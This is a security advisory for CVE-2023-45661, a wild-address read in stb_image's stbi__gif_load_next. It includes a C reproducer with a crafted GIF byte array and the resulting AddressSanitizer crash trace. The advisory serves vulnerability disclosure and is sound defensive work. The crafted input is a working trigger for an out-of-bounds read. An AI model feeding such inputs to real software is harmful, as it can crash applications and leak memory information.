Wild address read in stbi__gif_load_next (`GHSL-2023-145/CVE-2023-45661`)

[JarLob]

A crafted image file may trigger out of bounds memcpy read in stbi__gif_load_next. This happens because two_back points to a memory address lower than the start of the buffer out.

Impact

This issue may be used to leak internal memory allocation information.

Resources

To reproduce the issue:

1. Make ASAN build of the following program:

#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x00,0xdf,0x79,0xa9,0x97,0x53,
                            0x43,0x05,0xff,0xbe,0x21,0x00,0x30,0x03,0x01,0x00,0x21,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x3f,0x71,0x07,0x00,0x05,0xff,0xbe,
                            0x01,0x00,0x68,0x00,0x21,0xf9,0x04,0x2c,0x0a,0x00,0x1f,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x71,0x00,0x00,0x05,0xff,0xe0,0x27,
                            0x8e,0x64,0x68};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}

2. Run the program to hit the error.

AddressSanitizer:DEADLYSIGNAL
=================================================================
==34019==ERROR: AddressSanitizer: SEGV on unknown address 0x7efdf91e0ae8 (pc 0x7efe05a0ac23 bp 0x7ffd4ee08700 sp 0x7ffd4ee07ec8 T0)
==34019==The signal is caused by a READ memory access.
    #2 0x4e4156 in stbi__gif_load_next(stbi__context*, stbi__gif*, int*, int, unsigned char*) tests/../stb_image.h:6817:16
    #3 0x4dee75 in stbi__load_gif_main(stbi__context*, int**, int*, int*, int*, int*, int) tests/../stb_image.h:6983:14
    #4 0x4de8bd in stbi_load_gif_from_memory tests/../stb_image.h:1448:30